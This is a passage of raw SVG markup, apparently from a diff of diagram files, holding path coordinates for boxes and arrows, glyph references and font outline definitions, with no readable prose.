-483.724 -810.384)" fill="none" stroke-width=".1" stroke="#4d4d4d" stroke-miterlimit="10"/><path d="M 34.051825 56.702598 L 43.451825 56.702598" transform="matrix(20 0 0 20 -483.724 -810.384)" fill="none" stroke-width=".1" stroke="#4d4d4d" stroke-miterlimit="10"/><path d="M 34.051825 54.702598 L 34.051825 54.702598 C 33.8862 54.702598 33.751825 54.836973 33.751825 55.002598" transform="matrix(20 0 0 20 -483.724 -810.384)" fill="none" stroke-width=".1" stroke="#4d4d4d" stroke-miterlimit="10"/><path d="M 43.751825 55.002598 L 43.751825 55.002598 C 43.751825 54.836973 43.61745 54.702598 43.451825 54.702598" transform="matrix(20 0 0 20 -483.724 -810.384)" fill="none" stroke-width=".1" stroke="#4d4d4d" stroke-miterlimit="10"/><path d="M 33.751825 55.002598 L 33.751825 56.402598" transform="matrix(20 0 0 20 -483.724 -810.384)" fill="none" stroke-width=".1" stroke="#4d4d4d" stroke-miterlimit="10"/><path d="M 43.751825 55.002598 L 43.751825 56.402598" transform="matrix(20 0 0 20 -483.724 -810.384)" fill="none" stroke-width=".1" stroke="#4d4d4d" stroke-miterlimit="10"/><path d="M 33.751825 56.402598 L 33.751825 56.402598 C 33.751825 56.568223 33.8862 56.702598 34.051825 56.702598" transform="matrix(20 0 0 20 -483.724 -810.384)" fill="none" stroke-width=".1" stroke="#4d4d4d" stroke-miterlimit="10"/><path d="M 43.451825 56.702598 L 43.451825 56.702598 C 43.61745 56.702598 43.751825 56.568223 43.751825 56.402598" transform="matrix(20 0 0 20 -483.724 -810.384)" fill="none" stroke-width=".1" stroke="#4d4d4d" stroke-miterlimit="10"/><path d="M 113.960938 361.773438 L 176.3125 361.773438 L 176.3125 388.023438 L 113.960938 388.023438 Z M 113.960938 361.773438" fill-rule="evenodd" fill="#fff"/><use xlink:href="#O" x="114.887" y="382.422"/><use xlink:href="#P" x="123.793" y="382.422"/><use xlink:href="#Q" x="128.559" y="382.422"/><use xlink:href="#f" x="137.465" y="382.422"/><use xlink:href="#L" x="141.352" y="382.422"/><use xlink:href="#R" x="149.945" y="382.422"/><use xlink:href="#b" x="158.852" y="382.422"/><use xlink:href="#d" x="167.758" y="382.422"/><path d="M 197.3125 354.898438 L 305.3125 354.898438 L 305.3125 394.898438 L 197.3125 394.898438 Z M 197.3125 354.898438" fill-rule="evenodd" fill="#f2f2f2"/><path d="M 197.3125 360.898438 L 197.3125 354.898438 C 194 354.898438 191.3125 357.585938 191.3125 360.898438 Z M 197.3125 360.898438" fill-rule="evenodd" fill="#f2f2f2"/><path d="M 305.3125 360.898438 L 311.3125 360.898438 C 311.3125 357.585938 308.625 354.898438 305.3125 354.898438 Z M 305.3125 360.898438" fill-rule="evenodd" fill="#f2f2f2"/><path d="M 191.3125 360.898438 L 311.3125 360.898438 L 311.3125 388.898438 L 191.3125 388.898438 Z M 191.3125 360.898438" fill-rule="evenodd" fill="#f2f2f2"/><path d="M 197.3125 388.898438 L 191.3125 388.898438 C 191.3125 392.210938 194 394.898438 197.3125 394.898438 Z M 197.3125 388.898438" fill-rule="evenodd" fill="#f2f2f2"/><path d="M 305.3125 388.898438 L 305.3125 394.898438 C 308.625 394.898438 311.3125 392.210938 311.3125 388.898438 Z M 305.3125 388.898438" fill-rule="evenodd" fill="#f2f2f2"/><path d="M 34.051825 58.264122 L 39.451825 58.264122" transform="matrix(20 0 0 20 -483.724 -810.384)" fill="none" stroke-width=".1" stroke="#4d4d4d" stroke-miterlimit="10"/><path d="M 34.051825 60.264122 L 39.451825 60.264122" transform="matrix(20 0 0 20 -483.724 -810.384)" fill="none" stroke-width=".1" stroke="#4d4d4d" stroke-miterlimit="10"/><path d="M 34.051825 58.264122 L 34.051825 58.264122 C 33.8862 58.264122 33.751825 58.398497 33.751825 58.564122" transform="matrix(20 0 0 20 -483.724 -810.384)" fill="none" stroke-width=".1" stroke="#4d4d4d" stroke-miterlimit="10"/><path d="M 39.751825 58.564122 L 39.751825 58.564122 C 39.751825 58.398497 39.61745 58.264122 39.451825 58.264122" transform="matrix(20 0 0 20 -483.724 -810.384)" fill="none" stroke-width=".1" stroke="#4d4d4d" stroke-miterlimit="10"/><path d="M 33.751825 58.564122 L 33.751825 59.964122" transform="matrix(20 0 0 20 -483.724 -810.384)" fill="none" stroke-width=".1" stroke="#4d4d4d" stroke-miterlimit="10"/><path d="M 39.751825 58.564122 L 39.751825 59.964122" transform="matrix(20 0 0 20 -483.724 -810.384)" fill="none" stroke-width=".1" stroke="#4d4d4d" stroke-miterlimit="10"/><path d="M 33.751825 59.964122 L 33.751825 59.964122 C 33.751825 60.129747 33.8862 60.264122 34.051825 60.264122" transform="matrix(20 0 0 20 -483.724 -810.384)" fill="none" stroke-width=".1" stroke="#4d4d4d" stroke-miterlimit="10"/><path d="M 39.451825 60.264122 L 39.451825 60.264122 C 39.61745 60.264122 39.751825 60.129747 39.751825 59.964122" transform="matrix(20 0 0 20 -483.724 -810.384)" fill="none" stroke-width=".1" stroke="#4d4d4d" stroke-miterlimit="10"/><path d="M 477.3125 283.667969 L 605.3125 283.667969 L 605.3125 323.667969 L 477.3125 323.667969 Z M 477.3125 283.667969" fill-rule="evenodd" fill="#f2f2f2"/><path d="M 477.3125 289.667969 L 477.3125 283.667969 C 474 283.667969 471.3125 286.355469 471.3125 289.667969 Z M 477.3125 289.667969" fill-rule="evenodd" fill="#f2f2f2"/><path d="M 605.3125 289.667969 L 611.3125 289.667969 C 611.3125 286.355469 608.625 283.667969 605.3125 283.667969 Z M 605.3125 289.667969" fill-rule="evenodd" fill="#f2f2f2"/><path d="M 471.3125 289.667969 L 611.3125 289.667969 L 611.3125 317.667969 L 471.3125 317.667969 Z M 471.3125 289.667969" fill-rule="evenodd" fill="#f2f2f2"/><path d="M 477.3125 317.667969 L 471.3125 317.667969 C 471.3125 320.980469 474 323.667969 477.3125 323.667969 Z M 477.3125 317.667969" fill-rule="evenodd" fill="#f2f2f2"/><path d="M 605.3125 317.667969 L 605.3125 323.667969 C 608.625 323.667969 611.3125 320.980469 611.3125 317.667969 Z M 605.3125 317.667969" fill-rule="evenodd" fill="#f2f2f2"/><path d="M 48.051825 54.702598 L 54.451825 54.702598" transform="matrix(20 0 0 20 -483.724 -810.384)" fill="none" stroke-width=".1" stroke="#4d4d4d" stroke-miterlimit="10"/><path d="M 48.051825 56.702598 L 54.451825 56.702598" transform="matrix(20 0 0 20 -483.724 -810.384)" fill="none" stroke-width=".1" stroke="#4d4d4d" stroke-miterlimit="10"/><path d="M 48.051825 54.702598 L 48.051825 54.702598 C 47.8862 54.702598 47.751825 54.836973 47.751825 55.002598" transform="matrix(20 0 0 20 -483.724 -810.384)" fill="none" stroke-width=".1" stroke="#4d4d4d" stroke-miterlimit="10"/><path d="M 54.751825 55.002598 L 54.751825 55.002598 C 54.751825 54.836973 54.61745 54.702598 54.451825 54.702598" transform="matrix(20 0 0 20 -483.724 -810.384)" fill="none" stroke-width=".1" stroke="#4d4d4d" stroke-miterlimit="10"/><path d="M 47.751825 55.002598 L 47.751825 56.402598" transform="matrix(20 0 0 20 -483.724 -810.384)" fill="none" stroke-width=".1" stroke="#4d4d4d" stroke-miterlimit="10"/><path d="M 54.751825 55.002598 L 54.751825 56.402598" transform="matrix(20 0 0 20 -483.724 -810.384)" fill="none" stroke-width=".1" stroke="#4d4d4d" stroke-miterlimit="10"/><path d="M 47.751825 56.402598 L 47.751825 56.402598 C 47.751825 56.568223 47.8862 56.702598 48.051825 56.702598" transform="matrix(20 0 0 20 -483.724 -810.384)" fill="none" stroke-width=".1" stroke="#4d4d4d" stroke-miterlimit="10"/><path d="M 54.451825 56.702598 L 54.451825 56.702598 C 54.61745 56.702598 54.751825 56.568223 54.751825 56.402598" transform="matrix(20 0 0 20 -483.724 -810.384)" fill="none" stroke-width=".1" stroke="#4d4d4d" stroke-miterlimit="10"/><path d="M 422.511719 290.542969 L 460.3125 290.542969 L 460.3125 316.792969 L 422.511719 316.792969 Z M 422.511719 290.542969" fill-rule="evenodd" fill="#fff"/><g><use xlink:href="#S" x="423.066" y="311.195"/><use xlink:href="#M" x="431.855" y="311.195"/><use xlink:href="#T" x="437.676" y="311.195"/><use xlink:href="#M" x="445.938" y="311.195"/><use xlink:href="#d" x="451.758" y="311.195"/></g><path d="M 27.900653 42.973497 L 27.905536 44.871934" transform="matrix(20 0 0 20 -483.724 -810.384)" fill="none" stroke-width=".1" stroke="#000" stroke-miterlimit="10"/><path d="M 27.905536 44.871934 C 27.780536 44.87213 27.655145 44.74752 27.65495 44.62252 C 27.654559 44.49752 27.779169 44.37213 27.904169 44.371934 C 28.029169 44.371544 28.154559 44.496348 28.15495 44.621348 C 28.155145 44.746348 28.030536 44.871544 27.905536 44.871934" transform="matrix(20 0 0 20 -483.724 -810.384)" fill-rule="evenodd" stroke-width=".1" stroke="#000" stroke-miterlimit="10"/><path d="M 46.275067 43.802208 L 46.249091 49.473887" transform="matrix(20 0 0 20 -483.724 -810.384)" fill="none" stroke-width=".1" stroke="#000" stroke-miterlimit="10"/><path d="M 46.249091 49.473887 C 46.124091 49.473302 45.999481 49.347716 46.000067 49.222716 C 46.000653 49.097716 46.126239 48.973302 46.251239 48.973887 C 46.376239 48.974473 46.500653 49.100059 46.500067 49.225059 C 46.499481 49.350059 46.374091 49.474473 46.249091 49.473887" transform="matrix(20 0 0 20 -483.724 -810.384)" fill-rule="evenodd" stroke-width=".1" stroke="#000" stroke-miterlimit="10"/><path d="M 519.304688 458.691406 L 696.003906 458.691406 L 696.003906 482.089844 L 519.304688 482.089844 Z M 519.304688 458.691406" fill-rule="evenodd" fill="#fff"/><g><use xlink:href="#B" x="519.305" y="477.09"/><use xlink:href="#x" x="527.137" y="477.09"/><use xlink:href="#r" x="534.91" y="477.09"/><use xlink:href="#l" x="540.984" y="477.09"/><use xlink:href="#p" x="545.926" y="477.09"/><use xlink:href="#I" x="553.133" y="477.09"/><use xlink:href="#U" x="557.332" y="477.09"/><use xlink:href="#p" x="563.348" y="477.09"/><use xlink:href="#q" x="570.555" y="477.09"/><use xlink:href="#q" x="578.348" y="477.09"/><use xlink:href="#m" x="586.141" y="477.09"/><use xlink:href="#n" x="591.082" y="477.09"/><use xlink:href="#r" x="598.523" y="477.09"/><use xlink:href="#r" x="604.598" y="477.09"/><use xlink:href="#U" x="610.672" y="477.09"/><use xlink:href="#r" x="616.688" y="477.09"/><use xlink:href="#l" x="622.762" y="477.09"/><use xlink:href="#p" x="627.703" y="477.09"/><use xlink:href="#l" x="634.91" y="477.09"/><use xlink:href="#n" x="639.734" y="477.09"/><use xlink:href="#U" x="647.176" y="477.09"/><use xlink:href="#V" x="653.191" y="477.09"/><use xlink:href="#H" x="663.816" y="477.09"/><use xlink:href="#q" x="667.723" y="477.09"/><use xlink:href="#J" x="675.516" y="477.09"/><use xlink:href="#n" x="683.289" y="477.09"/><use xlink:href="#l" x="690.73" y="477.09"/></g><path d="M 44.988281 24.355469 L 165.839844 24.355469 L 165.839844 47.753906 L 44.988281 47.753906 Z M 44.988281 24.355469" fill-rule="evenodd" fill="#fff"/><g><use xlink:href="#B" x="44.988" y="42.754"/><use xlink:href="#x" x="52.82" y="42.754"/><use xlink:href="#r" x="60.594" y="42.754"/><use xlink:href="#l" x="66.668" y="42.754"/><use xlink:href="#p" x="71.609" y="42.754"/><use xlink:href="#I" x="78.816" y="42.754"/><use xlink:href="#U" x="83.016" y="42.754"/><use xlink:href="#p" x="89.031" y="42.754"/><use xlink:href="#q" x="96.238" y="42.754"/><use xlink:href="#q" x="104.031" y="42.754"/><use xlink:href="#m" x="111.824" y="42.754"/><use xlink:href="#n" x="116.766" y="42.754"/><use xlink:href="#r" x="124.207" y="42.754"/><use xlink:href="#r" x="130.281" y="42.754"/><use xlink:href="#U" x="136.355" y="42.754"/><use xlink:href="#m" x="142.371" y="42.754"/><use xlink:href="#x" x="147.313" y="42.754"/><use xlink:href="#V" x="154.949" y="42.754"/></g><path d="M 311.148438 41.605469 L 524.5 41.605469 L 524.5 65.003906 L 311.148438 65.003906 Z M 311.148438 41.605469" fill-rule="evenodd" fill="#fff"/><g><use xlink:href="#B" x="311.148" y="60.008"/><use xlink:href="#x" x="318.98" y="60.008"/><use xlink:href="#r" x="326.754" y="60.008"/><use xlink:href="#l" x="332.828" y="60.008"/><use xlink:href="#p" x="337.77" y="60.008"/><use xlink:href="#I" x="344.977" y="60.008"/><use xlink:href="#U" x="349.176" y="60.008"/><use xlink:href="#p" x="355.191" y="60.008"/><use xlink:href="#q" x="362.398" y="60.008"/><use xlink:href="#q" x="370.191" y="60.008"/><use xlink:href="#m" x="377.984" y="60.008"/><use xlink:href="#n" x="382.926" y="60.008"/><use xlink:href="#r" x="390.367" y="60.008"/><use xlink:href="#r" x="396.441" y="60.008"/><use xlink:href="#U" x="402.516" y="60.008"/><use xlink:href="#p" x="408.531" y="60.008"/><use xlink:href="#q" x="415.738" y="60.008"/><use xlink:href="#q" x="423.531" y="60.008"/><use xlink:href="#m" x="431.324" y="60.008"/><use xlink:href="#n" x="436.266" y="60.008"/><use xlink:href="#r" x="443.707" y="60.008"/><use xlink:href="#r" x="449.781" y="60.008"/><use xlink:href="#W" x="455.855" y="60.008"/><use xlink:href="#H" x="463.316" y="60.008"/><use xlink:href="#C" x="467.223" y="60.008"/><use xlink:href="#n" x="475.133" y="60.008"/><use xlink:href="#X" x="482.574" y="60.008"/><use xlink:href="#U" x="490.68" y="60.008"/><use xlink:href="#Y" x="496.695" y="60.008"/><use xlink:href="#n" x="504.625" y="60.008"/><use xlink:href="#I" x="512.066" y="60.008"/><use xlink:href="#B" x="516.266" y="60.008"/></g><path d="M 54.402344 467.421875 L 238.003906 467.421875 L 238.003906 490.820312 L 54.402344 490.820312 Z M 54.402344 467.421875" fill-rule="evenodd" fill="#fff"/><g><use xlink:href="#B" x="54.402" y="485.82"/><use xlink:href="#x" x="62.234" y="485.82"/><use xlink:href="#r" x="70.008" y="485.82"/><use xlink:href="#l" x="76.082" y="485.82"/><use xlink:href="#p" x="81.023" y="485.82"/><use xlink:href="#I" x="88.23" y="485.82"/><use xlink:href="#U" x="92.43" y="485.82"/><use xlink:href="#p" x="98.445" y="485.82"/><use xlink:href="#q" x="105.652" y="485.82"/><use xlink:href="#q" x="113.445" y="485.82"/><use xlink:href="#m" x="121.238" y="485.82"/><use xlink:href="#n" x="126.18" y="485.82"/><use xlink:href="#r" x="133.621" y="485.82"/><use xlink:href="#r" x="139.695" y="485.82"/><use xlink:href="#U" x="145.77" y="485.82"/><use xlink:href="#Z" x="151.785" y="485.82"/><use xlink:href="#H" x="158.27" y="485.82"/><use xlink:href="#B" x="162.176" y="485.82"/><use xlink:href="#aa" x="170.008" y="485.82"/><use xlink:href="#x" x="177.781" y="485.82"/><use xlink:href="#q" x="185.555" y="485.82"/><use xlink:href="#n" x="193.348" y="485.82"/><use xlink:href="#U" x="200.789" y="485.82"/><use xlink:href="#I" x="206.805" y="485.82"/><use xlink:href="#p" x="211.004" y="485.82"/><use xlink:href="#w" x="218.211" y="485.82"/><use xlink:href="#n" x="226.023" y="485.82"/><use xlink:href="#I" x="233.465" y="485.82"/></g><path d="M 53.802606 63.60045 L 53.829364 56.467247" transform="matrix(20 0 0 20 -483.724 -810.384)" fill="none" stroke-width=".1" stroke="#000" stroke-miterlimit="10"/><path d="M 53.829364 56.467247 C 53.954364 56.467637 54.078778 56.593223 54.078387 56.718223 C 54.077997 56.843223 53.952411 56.967637 53.827411 56.967247 C 53.702411 56.966661 53.577997 56.84127 53.578387 56.71627 C 53.578778 56.59127 53.704364 56.466661 53.829364 56.467247" transform="matrix(20 0 0 20 -483.724 -810.384)" fill-rule="evenodd" stroke-width=".1" stroke="#000" stroke-miterlimit="10"/><path d="M 29.356122 63.967833 L 29.382684 59.091075" transform="matrix(20 0 0 20 -483.724 -810.384)" fill="none" stroke-width=".1" stroke="#000" stroke-miterlimit="10"/><path d="M 29.382684 59.091075 C 29.507684 59.091856 29.632098 59.217442 29.631317 59.342442 C 29.630731 59.467442 29.50495 59.591856 29.37995 59.591075 C 29.25495 59.590489 29.130731 59.464708 29.131317 59.339708 C 29.132098 59.214708 29.257684 59.090489 29.382684 59.091075" transform="matrix(20 0 0 20 -483.724 -810.384)" fill-rule="evenodd" stroke-width=".1" stroke="#000" stroke-miterlimit="10"/></svg>
+<svg xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink" width="650" viewBox="0 0 722 512"><defs><symbol overflow="visible" id="a"><path style="stroke:none" d="M6.563-3.156H3.265L2.437 0h-2.5L4-14.094h1.984L10.063 0H7.421zM3.796-5.234h2.328L5.312-8.5 5-10.703h-.078l-.344 2.219zm0 0"/></symbol><symbol overflow="visible" id="b"><path style="stroke:none" d="M8.047-3.516c0 .555.004 1.11.015 1.672.008.563.063 1.184.157 1.86H6.547l-.328-1.157H6.14C5.68-.203 4.89.266 3.766.266 2.742.266 1.94-.133 1.359-.938.785-1.738.5-3.038.5-4.844c0-1.758.313-3.093.938-4 .625-.914 1.554-1.375 2.796-1.375.32 0 .586.024.797.063.219.043.426.11.625.203V-14h2.39zM4.312-1.922c.364 0 .649-.086.86-.266.219-.175.379-.44.484-.796v-4.72a1.396 1.396 0 0 0-.453-.25 1.865 1.865 0 0 0-.64-.093c-.532 0-.934.246-1.204.735-.273.48-.406 1.328-.406 2.546 0 .93.11 1.637.328 2.125.227.48.57.72 1.031.72zm0 0"/></symbol><symbol overflow="visible" id="c"><path style="stroke:none" d="M5.578-7.64a2.699 2.699 0 0 0-.875-.173c-.367 0-.68.102-.937.297-.262.2-.438.477-.532.829V0H.86v-10h1.829l.265 1.203h.094c.164-.437.41-.781.734-1.031.332-.25.711-.375 1.14-.375.321 0 .634.07.938.203zm0 0"/></symbol><symbol overflow="visible" id="d"><path style="stroke:none" d="M7.625-.734c-.336.293-.79.53-1.36.718a5.808 5.808 0 0 1-1.812.282c-.687 0-1.281-.121-1.781-.36a3.164 3.164 0 0 1-1.235-1.031C1.113-1.582.875-2.133.72-2.781.57-3.437.5-4.176.5-5c0-1.8.352-3.129 1.063-3.984.718-.864 1.71-1.297 2.984-1.297.426 0 .836.062 1.234.187.395.125.75.34 1.063.64.312.306.566.704.765 1.204.196.5.297 1.133.297 1.89 0 .294-.023.606-.062.938-.032.336-.078.695-.14 1.078h-4.86c.02.836.191 1.469.515 1.907.32.437.836.656 1.547.656a3.11 3.11 0 0 0 1.157-.203c.351-.133.625-.274.812-.422zM4.5-8.234c-.512 0-.89.203-1.14.609-.25.406-.4.977-.438 1.703h2.765c.032-.758-.054-1.332-.25-1.719-.199-.394-.511-.593-.937-.593zm0 0"/></symbol><symbol overflow="visible" id="e"><path style="stroke:none" d="M4.219-2.656a.99.99 0 0 0-.266-.703 3.047 3.047 0 0 0-.687-.547l-.891-.516a5.125 5.125 0 0 1-.89-.64A3.187 3.187 0 0 1 .78-5.97c-.18-.363-.265-.82-.265-1.375 0-.926.254-1.644.765-2.156.508-.508 1.254-.766 2.235-.766.593 0 1.144.07 1.656.204.52.124.937.28 1.25.468l-.563 1.828a7.374 7.374 0 0 0-.921-.296 3.866 3.866 0 0 0-1.063-.157c-.648 0-.969.274-.969.813 0 .261.086.476.266.64.176.168.406.329.687.485.282.156.579.324.891.5.313.18.61.398.89.656.282.262.508.578.688.953.176.367.266.824.266 1.375 0 .918-.282 1.656-.844 2.219-.555.562-1.383.844-2.484.844-.555 0-1.094-.07-1.625-.204C1.117-.07.695-.241.375-.453l.672-1.922c.27.156.586.297.953.422.375.117.758.172 1.156.172.313 0 .567-.067.766-.203.195-.145.297-.368.297-.672zm0 0"/></symbol><symbol overflow="visible" id="g"><path style="stroke:none" d="M3.281-3.234c0 .46.047.793.14 1 .095.199.243.296.454.296.125 0 .25-.007.375-.03.125-.032.27-.083.438-.157l.218 1.922c-.168.105-.445.203-.828.297-.387.093-.777.14-1.172.14-.668 0-1.168-.168-1.5-.5-.336-.332-.5-.894-.5-1.687V-14h2.375zm0 0"/></symbol><symbol overflow="visible" id="h"><path style="stroke:none" d="M1.063-10h2.375V0H1.062zm.14-2.813c0-.406.125-.738.375-1 .25-.257.61-.39 1.078-.39.469 0 .844.133 1.125.39.281.25.422.586.422 1 0 .407-.14.731-.422.97-.281.241-.656.359-1.125.359s-.828-.118-1.078-.36c-.25-.25-.375-.57-.375-.969zm0 0"/></symbol><symbol overflow="visible" id="i"><path style="stroke:none" d="M5.813 0v-6.078c0-.738-.09-1.254-.266-1.547-.168-.29-.453-.438-.86-.438-.355 0-.656.11-.906.329-.25.21-.433.476-.547.796V0H.86v-10h1.907l.28 1.156h.048c.238-.383.566-.71.984-.984.414-.27.957-.406 1.625-.406.395 0 .75.062 1.063.187.312.117.57.309.78.578.22.274.38.637.485 1.094.114.46.172 1.031.172 1.719V0zm0 0"/></symbol><symbol overflow="visible" id="j"><path style="stroke:none" d="M1.734-2.125h2.282v-7.86l.265-1.359-.828 1.188-1.312 1.015-1.094-1.343 3.86-3.75h1.39v12.109h2.25V0H1.734zm0 0"/></symbol><symbol overflow="visible" id="E"><path style="stroke:none" d="M8.047-10.64a7.8 7.8 0 0 1-.313 2.14c-.199.719-.453 1.43-.765 2.125a20.678 20.678 0 0 1-1.032 1.984c-.375.625-.742 1.18-1.093 1.657l-.89.812v.11l1.202-.313h3.11V0H1.234v-1.375c.282-.352.582-.75.907-1.188.332-.445.66-.921.984-1.421.332-.5.648-1.02.953-1.563.313-.539.582-1.082.813-1.625.226-.539.41-1.07.546-1.594.145-.52.22-1.004.22-1.453 0-.562-.137-1.015-.407-1.36-.262-.343-.672-.515-1.234-.515a2.57 2.57 0 0 0-1.047.235 3.09 3.09 0 0 0-.875.546l-.89-1.75a4.943 4.943 0 0 1 1.468-.89c.562-.219 1.223-.328 1.984-.328.477 0 .926.078 1.344.234.414.156.77.387 1.063.688.3.304.539.683.718 1.14.176.45.266.977.266 1.578zm0 0"/></symbol><symbol overflow="visible" id="L"><path style="stroke:none" d="M8.844-.563c-.356.293-.824.508-1.406.641a7.62 7.62 0 0 1-1.72.203c-.718 0-1.39-.12-2.015-.36-.617-.25-1.156-.66-1.625-1.234-.469-.582-.84-1.335-1.11-2.265-.261-.938-.39-2.082-.39-3.438 0-1.414.149-2.586.453-3.515.301-.938.692-1.68 1.172-2.235.488-.55 1.047-.941 1.672-1.171a5.549 5.549 0 0 1 1.906-.344c.657 0 1.223.058 1.703.172.489.105.891.218 1.204.343l-.5 2.22a4.112 4.112 0 0 0-.907-.298 5.909 5.909 0 0 0-1.203-.11c-.918 0-1.625.403-2.125 1.204-.492.793-.734 2.043-.734 3.75 0 .73.054 1.402.172 2.016.113.605.289 1.125.53 1.562.25.438.563.777.938 1.016.383.242.844.36 1.375.36.47 0 .868-.063 1.204-.188.332-.125.632-.274.906-.454zm0 0"/></symbol><symbol overflow="visible" id="M"><path style="stroke:none" d="M.078-10h1.11v-1.875l2.375-.75V-10H5.5v2.125H3.562v4.36c0 .574.055.98.172 1.218.114.242.317.36.61.36.195 0 .375-.02.531-.063.164-.04.344-.102.531-.188L5.703-.28a4.676 4.676 0 0 1-1.031.36 4.78 4.78 0 0 1-1.219.155c-.762 0-1.328-.218-1.703-.656-.375-.437-.563-1.176-.563-2.219v-5.234H.079zm0 0"/></symbol><symbol overflow="visible" id="N"><path style="stroke:none" d="m4.063-4.375.25 1.563h.109l.172-1.594L5.766-10h2.437l-2.5 9.016c-.23.793-.445 1.5-.64 2.125-.2.625-.415 1.156-.641 1.593-.23.446-.492.786-.781 1.016a1.573 1.573 0 0 1-1.016.344c-.281 0-.555-.028-.813-.078a2.123 2.123 0 0 1-.671-.22l.406-2.03c.164.062.336.086.516.078a.73.73 0 0 0 .5-.203c.156-.125.289-.325.406-.594.125-.262.226-.61.312-1.047L-.203-10h2.86zm0 0"/></symbol><symbol overflow="visible" id="O"><path style="stroke:none" d="m.422-2.313 4.672-8.546.843-.829H.423V-14h8.062v2.313L3.781-3.079l-.828.765h5.531V0H.422zm0 0"/></symbol><symbol overflow="visible" id="P"><path style="stroke:none" d="M1.125-14h2.516V0H1.125zm0 0"/></symbol><symbol overflow="visible" id="Q"><path style="stroke:none" d="M.906-13.86a15.781 15.781 0 0 1 1.578-.25c.57-.062 1.145-.093 1.72-.093.612 0 1.218.058 1.812.172.593.117 1.117.34 1.578.672.468.336.847.804 1.14 1.406.301.605.454 1.398.454 2.375 0 .875-.126 1.621-.376 2.234-.25.617-.585 1.117-1 1.5A3.704 3.704 0 0 1 6.391-5a5.29 5.29 0 0 1-1.672.266h-.266a10.596 10.596 0 0 1-.766-.047 1.822 1.822 0 0 1-.265-.032V0H.906zm2.516 6.782c.082.023.234.043.453.062a4.6 4.6 0 0 0 .438.032c.3 0 .582-.036.843-.11.27-.082.508-.218.719-.406.207-.195.367-.46.484-.797.125-.344.188-.773.188-1.297 0-.445-.059-.82-.172-1.125a1.862 1.862 0 0 0-.469-.734 1.628 1.628 0 0 0-.672-.375 2.54 2.54 0 0 0-.796-.125c-.418 0-.758.031-1.016.094zm0 0"/></symbol><symbol overflow="visible" id="R"><path style="stroke:none" d="M.5-5c0-1.77.344-3.086 1.031-3.953.696-.875 1.664-1.313 2.907-1.313 1.332 0 2.328.446 2.984 1.329.656.874.984 2.187.984 3.937 0 1.793-.351 3.121-1.047 3.984C6.66-.16 5.688.266 4.438.266 1.813.266.5-1.488.5-5zm2.453 0c0 1 .113 1.777.344 2.328.226.543.61.813 1.14.813.508 0 .883-.235 1.125-.704.25-.476.375-1.289.375-2.437 0-1.031-.117-1.813-.343-2.344-.219-.531-.606-.797-1.157-.797-.468 0-.835.243-1.093.72-.262.468-.39 1.276-.39 2.421zm0 0"/></symbol><symbol overflow="visible" id="S"><path style="stroke:none" d="M5.797-3.594c0-.426-.125-.789-.375-1.094-.25-.3-.57-.582-.953-.843-.375-.27-.79-.547-1.235-.828a7.376 7.376 0 0 1-1.25-.985 5.242 5.242 0 0 1-.953-1.312c-.25-.508-.375-1.13-.375-1.86 0-.687.102-1.265.313-1.734.207-.469.488-.852.844-1.156.363-.301.789-.52 1.28-.656a5.713 5.713 0 0 1 1.595-.22c.675 0 1.304.071 1.89.204.582.137 1.07.312 1.469.531l-.781 2.235c-.23-.165-.57-.313-1.016-.438a5.103 5.103 0 0 0-1.453-.203c-.524 0-.922.11-1.203.328-.274.21-.406.516-.406.922 0 .375.124.71.374 1a5.7 5.7 0 0 0 .938.828c.383.262.8.54 1.25.828.445.281.86.617 1.234 1 .383.375.704.824.954 1.344.25.512.375 1.121.375 1.828 0 .71-.106 1.324-.313 1.844-.2.511-.492.937-.875 1.281A3.528 3.528 0 0 1 5.75.016 5.602 5.602 0 0 1 3.984.28c-.836 0-1.562-.086-2.187-.25C1.18-.125.707-.3.375-.5l.828-2.266c.258.168.625.329 1.094.485.469.156.969.234 1.5.234 1.332 0 2-.515 2-1.547zm0 0"/></symbol><symbol overflow="visible" id="T"><path style="stroke:none" d="M.875-9.406c.406-.239.906-.43 1.5-.578a8.794 8.794 0 0 1 2.047-.22c1.133 0 1.922.298 2.36.892.445.585.671 1.417.671 2.5 0 .625-.016 1.242-.047 1.843-.031.606-.058 1.2-.078 1.782-.012.585 0 1.148.031 1.687.04.531.133 1.04.282 1.516H5.703l-.39-1.22h-.079a2.74 2.74 0 0 1-.89.97c-.387.25-.875.375-1.469.375-.781 0-1.402-.258-1.86-.782C.567-1.17.345-1.879.345-2.766c0-1.195.426-2.046 1.281-2.546.852-.508 2.004-.723 3.453-.641.07-.781.024-1.344-.14-1.688-.168-.343-.528-.515-1.079-.515-.398 0-.808.047-1.234.14-.43.094-.809.227-1.14.391zm2.86 7.5c.363 0 .656-.086.874-.266a1.88 1.88 0 0 0 .516-.594v-1.656a3.802 3.802 0 0 0-.89-.016 2.23 2.23 0 0 0-.735.172c-.21.094-.383.235-.516.422-.125.18-.187.406-.187.688 0 .406.082.719.25.937.164.211.394.313.687.313zm0 0"/></symbol><symbol overflow="visible" id="k"><path style="stroke:none" d="M1.063-1.672c.226.156.546.305.953.438.414.136.89.203 1.421.203.676 0 1.223-.16 1.641-.485.414-.332.625-.851.625-1.562 0-.469-.121-.875-.36-1.219a4.588 4.588 0 0 0-.905-.969c-.356-.289-.743-.578-1.157-.859a9.064 9.064 0 0 1-1.172-.938 4.842 4.842 0 0 1-.89-1.171c-.242-.446-.36-.985-.36-1.61 0-1.008.301-1.754.907-2.234.613-.488 1.406-.735 2.375-.735.601 0 1.132.06 1.593.172.47.106.848.243 1.141.407l-.438 1.187c-.21-.133-.515-.254-.921-.36a5.19 5.19 0 0 0-1.391-.171c-.648 0-1.125.164-1.438.484-.312.313-.468.711-.468 1.188 0 .43.117.804.36 1.125.237.324.534.633.89.922.363.28.75.574 1.156.875.414.293.805.62 1.172.984.363.355.664.762.906 1.219.238.449.36.984.36 1.61 0 1.062-.313 1.898-.938 2.5-.625.593-1.512.89-2.656.89-.719 0-1.309-.07-1.766-.203C1.243-.117.875-.27.593-.438zm0 0"/></symbol><symbol overflow="visible" id="l"><path style="stroke:none" d="M.156-9h1.11v-1.781l1.296-.422V-9H4.5v1.172H2.562v5.36c0 .53.063.917.188 1.155.125.231.328.344.61.344.238 0 .445-.023.624-.078.176-.062.364-.133.563-.219l.266 1.032c-.274.136-.57.238-.891.312-.313.082-.64.125-.985.125-.605 0-1.039-.195-1.296-.578-.25-.395-.375-1.031-.375-1.906v-5.547H.156zm0 0"/></symbol><symbol overflow="visible" id="m"><path style="stroke:none" d="M1.063-9h.921l.235.953h.047c.164-.344.382-.613.656-.812.27-.196.598-.297.984-.297.27 0 .582.054.938.156l-.25 1.313a2.75 2.75 0 0 0-.828-.157c-.387 